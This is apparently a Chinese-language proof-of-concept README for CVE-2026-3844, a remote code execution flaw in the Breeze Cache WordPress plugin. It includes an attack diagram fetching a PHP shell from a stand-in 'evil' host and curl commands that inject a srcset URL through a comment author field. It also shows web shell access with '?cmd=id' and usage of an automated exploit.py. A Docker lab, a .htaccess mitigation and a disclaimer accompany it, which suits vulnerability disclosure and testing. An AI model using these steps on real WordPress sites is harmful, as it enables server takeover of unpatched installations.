| 字段 | 值 |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 严重(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — 危险类型文件的不受限制上传 |
| 插件 | Breeze Cache by Cloudways |
| 受影响版本 | 所有版本,包括 2.4.4 及更早版本 |
| 修复版本 | 2.4.5(变更集 3511463) |
| 安装量 | 400,000+ 个活跃 WordPress 安装 |
| 发现者 | Hung Nguyen (bashu) |
| 披露日期 | 2026-04-23 |
inc/class-breeze-cache-cronjobs.php 中的 fetch_gravatar_from_remote() 函数会下载远程 URL,并使用 URL 中的原始文件名和扩展名将其保存到可通过 Web 访问的目录中。该函数没有 MIME 类型验证、没有扩展名白名单,也没有内容检查。
当启用“Host Files Locally - Gravatars”设置时,插件会通过 breeze_replace_gravatar_image() 挂钩到 WordPress 的 get_avatar 过滤器。该函数使用正则表达式从头像 HTML 中的 srcset 和 src 属性提取 URL。攻击者可以通过发布带有精心构造的作者名称的评论来注入恶意的 srcset 属性,从而诱使插件下载并缓存任意 PHP 文件。
缺失的防护措施:
.php、.phtml、.phar 均被接受)攻击者 WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | 评论已保存
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | get_avatar 过滤器触发
| | breeze_replace_gravatar_image()
| | 通过正则提取 srcset URL
| | 调用 fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| PHP 文件内容 |
| -----------------------------> |
| | 保存至:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP 以 www-data 身份执行
| uid=33(www-data) |
| <------------------------------------ |
此 PoC 包含一个自包含的 Docker 环境,提供:
requests 库(pip install requests)cd docker/
docker compose up -d --build
等待约 30 秒让 WordPress 完成初始化。验证:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# 预期输出:Stable tag: 2.4.4
Docker 环境会自动:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
将 PAYLOAD_IP 替换为载荷容器的 IP:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
预期响应:HTTP 302 重定向到文章页面。
访问文章页面,让 WordPress 渲染评论的头像,从而触发 Breeze 的 get_avatar 过滤器并下载载荷:
curl -s "http://localhost:8088/?p=1" > /dev/null
渲染后的 HTML 显示 Breeze 已提取注入的 srcset 并缓存了载荷:
PHP 载荷被原样写入,属主为 www-data:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target WordPress 目标 URL(必填)
-p, --payload 要上传的 PHP 载荷 URL
--post-id 要评论的特定文章 ID
--timeout HTTP 超时时间(秒,默认:15)
--wait 等待 cron 的秒数(默认:12)
--check-only 仅检查插件版本,不进行利用
cd docker/
docker compose down -v --remove-orphans
wp-content/cache/breeze-extra/gravatars/ 的 .htaccess 中添加:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # 本文件
docker/
Dockerfile # WordPress + Breeze 2.4.4 镜像
docker-compose.yml # 完整实验环境(WP + MariaDB + 载荷服务器)
entrypoint-custom.sh # 自动配置存在漏洞的 WP 设置
poc/
exploit.py # 自动化 PoC 利用脚本
validate.sh # 端到端 Docker 验证脚本
payloads/
shell.php # 无害 PoC 载荷(echo + id)
screenshots/ # SVG 终端截图(Charm freeze)
validation/ # RAPTOR 可利用性验证输出
此概念验证仅用于授权的安全测试、教育和防御性研究。未经授权对您不拥有或未获得明确测试许可的系统进行使用是违法的。